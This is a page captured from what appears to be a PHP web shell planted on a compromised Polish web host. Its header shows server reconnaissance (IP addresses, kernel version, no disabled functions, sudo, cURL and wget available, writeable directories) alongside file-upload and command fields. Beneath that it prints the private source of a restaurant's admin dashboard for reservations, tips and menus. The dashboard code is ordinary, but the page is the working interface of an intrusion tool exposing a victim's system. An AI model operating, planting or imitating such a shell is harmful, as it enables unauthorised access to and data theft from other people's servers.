403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/index.php
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/includes/functions.php';
require_login();
ensure_reservations_schema();
ensure_tips_schema();

$user = admin_user();
$role = (string)($user['role'] ?? '');

$reservationNewCount = (int)db()->query(
    "SELECT COUNT(*) FROM reservations WHERE status='new'"
)->fetchColumn();

$reservationTodayCount = (int)db()->query(
    "SELECT COUNT(*) FROM reservations
     WHERE reservation_date=CURDATE()
       AND status NOT IN ('rejected','cancelled')"
)->fetchColumn();

if (in_array($role, ['waiter', 'kitchen'], true)) {
    $today = date('Y-m-d');
    $monthStart = date('Y-m-01');
    $monthEnd = date('Y-m-t');

    $todayTips = tips_summary_for_user((int)$user['id'], $today, $today);
    $monthTips = tips_summary_for_user((int)$user['id'], $monthStart, $monthEnd);

    render_admin_header($role === 'waiter' ? 'Pulpit kelnera' : 'Pulpit kuchni');
    ?>
    <div class="admin-title-row">
        <div>
            <h1><?= $role === 'waiter' ? 'Pulpit kelnera' : 'Pulpit kuchni' ?></h1>
            <p><?= $role === 'waiter' ? 'Rezerwacje, grafik i napiwki.' : 'Grafik i napiwki.' ?></p>
        </div>
        <a class="btn btn-primary" href="/admin/tips.php">Moje napiwki</a>
    </div>

    <div class="grid-cards">
        <?php if ($role === 'waiter'): ?>
            <div class="card">
                <h3>Rezerwacje dzisiaj</h3>
                <div class="stat"><?= $reservationTodayCount ?></div>
                <a class="btn btn-small btn-light" href="/admin/reservations.php?from=<?= e($today) ?>&to=<?= e($today) ?>">Pokaż</a>
            </div>

            <div class="card">
                <h3>Nowe rezerwacje</h3>
                <div class="stat"><?= $reservationNewCount ?></div>
                <a class="btn btn-small btn-light" href="/admin/reservations.php?status=new">Pokaż</a>
            </div>
        <?php endif; ?>

        <div class="card">
            <h3>Napiwki dzisiaj</h3>
            <div class="stat tip-stat-money"><?= e(tip_money((float)$todayTips['total'])) ?></div>
        </div>

        <div class="card">
            <h3>Napiwki w tym miesiącu</h3>
            <div class="stat tip-stat-money"><?= e(tip_money((float)$monthTips['total'])) ?></div>
        </div>

        <div class="card">
            <h3>Wypłacone</h3>
            <div class="stat tip-stat-money"><?= e(tip_money((float)$monthTips['paid_total'])) ?></div>
        </div>

        <div class="card">
            <h3>Do wypłaty</h3>
            <div class="stat tip-stat-money"><?= e(tip_money((float)$monthTips['unpaid_total'])) ?></div>
        </div>
    </div>

    <div class="two-col" style="margin-top:20px">
        <?php if ($role === 'waiter'): ?>
            <section class="card">
                <h2>Rezerwacje</h2>
                <p class="muted">Podgląd bieżących i przyszłych rezerwacji.</p>
                <a class="btn btn-primary" href="/admin/reservations.php">Otwórz rezerwacje</a>
            </section>
        <?php endif; ?>

        <section class="card">
            <h2>Grafik</h2>
            <p class="muted">Twoje dni pracy.</p>
            <a class="btn btn-light" href="/admin/schedule.php">Otwórz grafik</a>
        </section>

        <section class="card">
            <h2>Napiwki</h2>
            <p class="muted">
                Twoje rozliczenia.
            </p>
            <a class="btn btn-green" href="/admin/tips.php">Moje udziały</a>
        </section>
    </div>
    <?php
    render_admin_footer();
    exit;
}

if ($role === 'manager') {
    $today = date('Y-m-d');
    $month = date('Y-m');
    $monthStart = date('Y-m-01');
    $monthEnd = date('Y-m-t');

    $stmt = db()->prepare(
        "SELECT COALESCE(SUM(cash_amount+card_amount+other_amount),0) AS total,
                COUNT(*) AS entries,
                COALESCE(SUM(CASE WHEN status='open' THEN 1 ELSE 0 END),0) AS open_days
         FROM tip_pools WHERE tip_date BETWEEN ? AND ?"
    );
    $stmt->execute([$monthStart,$monthEnd]);
    $tipOps = $stmt->fetch() ?: [];

    render_admin_header('Pulpit managera');
    ?>
    <div class="admin-title-row">
        <div><h1>Pulpit managera</h1><p>Grafik, rezerwacje i dzienne rozliczenia.</p></div>
        <a class="btn btn-primary" href="/admin/tips.php?date=<?= e($today) ?>">Rozlicz dzisiaj</a>
    </div>
    <div class="grid-cards">
        <div class="card"><h3>Rezerwacje dzisiaj</h3><div class="stat"><?= $reservationTodayCount ?></div><a class="btn btn-small btn-light" href="/admin/reservations.php?from=<?= e($today) ?>&to=<?= e($today) ?>">Pokaż</a></div>
        <div class="card"><h3>Nowe rezerwacje</h3><div class="stat"><?= $reservationNewCount ?></div><a class="btn btn-small btn-light" href="/admin/reservations.php?status=new">Pokaż</a></div>
        <div class="card"><h3>Tipy – miesiąc</h3><div class="stat tip-stat-money"><?= e(tip_money((float)($tipOps['total'] ?? 0))) ?></div></div>
        <div class="card"><h3>Otwarte dni</h3><div class="stat"><?= (int)($tipOps['open_days'] ?? 0) ?></div></div>
    </div>
    <div class="two-col" style="margin-top:20px">
        <section class="card"><h2>Grafik</h2><p class="muted">Projektowanie obsady i godzin pracy.</p><a class="btn btn-light" href="/admin/schedule.php">Otwórz grafik</a></section>
        <section class="card"><h2>Napiwki</h2><p class="muted">Rozliczenia dzienne i zamknięcie miesiąca.</p><a class="btn btn-green" href="/admin/tips.php">Otwórz napiwki</a></section>
    </div>
    <?php
    render_admin_footer();
    exit;
}

$menuCount = (int)db()->query('SELECT COUNT(*) FROM menus')->fetchColumn();
$itemCount = (int)db()->query('SELECT COUNT(*) FROM menu_items')->fetchColumn();
$publishedCount = (int)db()->query("SELECT COUNT(*) FROM menus WHERE status='published'")->fetchColumn();
$current = active_menu();

$tipMonthTotal = 0.0;
$tipUnsettled = 0.0;

if (in_array($role, ['admin', 'editor', 'manager'], true)) {
    $stmt = db()->query(
        "SELECT
            COALESCE(SUM(cash_amount + card_amount + other_amount),0) AS total,
            COALESCE(SUM(CASE WHEN status='open' THEN cash_amount + card_amount + other_amount ELSE 0 END),0) AS unsettled
         FROM tip_pools
         WHERE tip_date BETWEEN DATE_FORMAT(CURDATE(), '%Y-%m-01') AND LAST_DAY(CURDATE())"
    );
    $tipSummary = $stmt->fetch();
    $tipMonthTotal = (float)($tipSummary['total'] ?? 0);
    $tipUnsettled = (float)($tipSummary['unsettled'] ?? 0);
}

render_admin_header('Pulpit');
?>
<div class="admin-title-row">
    <div>
        <h1>Pulpit</h1>
        <p>Szybkie zarządzanie restauracją i stroną.</p>
    </div>
    <a class="btn btn-primary" href="/admin/menus.php">Zarządzaj menu</a>
</div>

<div class="grid-cards">
    <div class="card">
        <h3>Wersje menu</h3>
        <div class="stat"><?= $menuCount ?></div>
    </div>
    <div class="card">
        <h3>Pozycje w kartach</h3>
        <div class="stat"><?= $itemCount ?></div>
    </div>
    <div class="card">
        <h3>Opublikowane</h3>
        <div class="stat"><?= $publishedCount ?></div>
    </div>
    <div class="card">
        <h3>Nowe rezerwacje</h3>
        <div class="stat"><?= $reservationNewCount ?></div>
        <a class="btn btn-small btn-light" href="/admin/reservations.php">Otwórz</a>
    </div>
    <div class="card">
        <h3>Rezerwacje dzisiaj</h3>
        <div class="stat"><?= $reservationTodayCount ?></div>
    </div>

    <?php if (in_array($role, ['admin', 'editor', 'manager'], true)): ?>
        <div class="card">
            <h3>Napiwki – miesiąc</h3>
            <div class="stat tip-stat-money"><?= e(tip_money($tipMonthTotal)) ?></div>
            <a class="btn btn-small btn-light" href="/admin/tips.php">Otwórz</a>
        </div>
        <div class="card">
            <h3>Napiwki do rozliczenia</h3>
            <div class="stat tip-stat-money"><?= e(tip_money($tipUnsettled)) ?></div>
        </div>
    <?php endif; ?>
</div>

<div class="two-col" style="margin-top:20px">
    <section class="card">
        <h2>Aktualnie widoczne menu</h2>
        <?php if ($current): ?>
            <p><strong><?= e($current['name']) ?></strong></p>
            <p class="muted">
                <?= e($current['valid_from'] ?: 'bez daty od') ?>
                –
                <?= e($current['valid_to'] ?: 'bez daty końcowej') ?>
            </p>
            <div class="actions">
                <a class="btn btn-primary" href="/admin/menu.php?id=<?= (int)$current['id'] ?>">Edytuj</a>
                <a class="btn btn-light" href="/menu" target="_blank" rel="noopener">Podejrzyj</a>
            </div>
        <?php else: ?>
            <p class="muted">Nie ma jeszcze opublikowanej karty.</p>
            <a class="btn btn-primary" href="/admin/menus.php">Przejdź do menu</a>
        <?php endif; ?>
    </section>

    <section class="card">
        <h2>QR</h2>
        <p class="muted">Jeden stały QR prowadzi zawsze do <strong>/menu</strong>.</p>
        <a class="btn btn-green" href="/admin/qr.php">Pokaż QR</a>
    </section>
</div>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit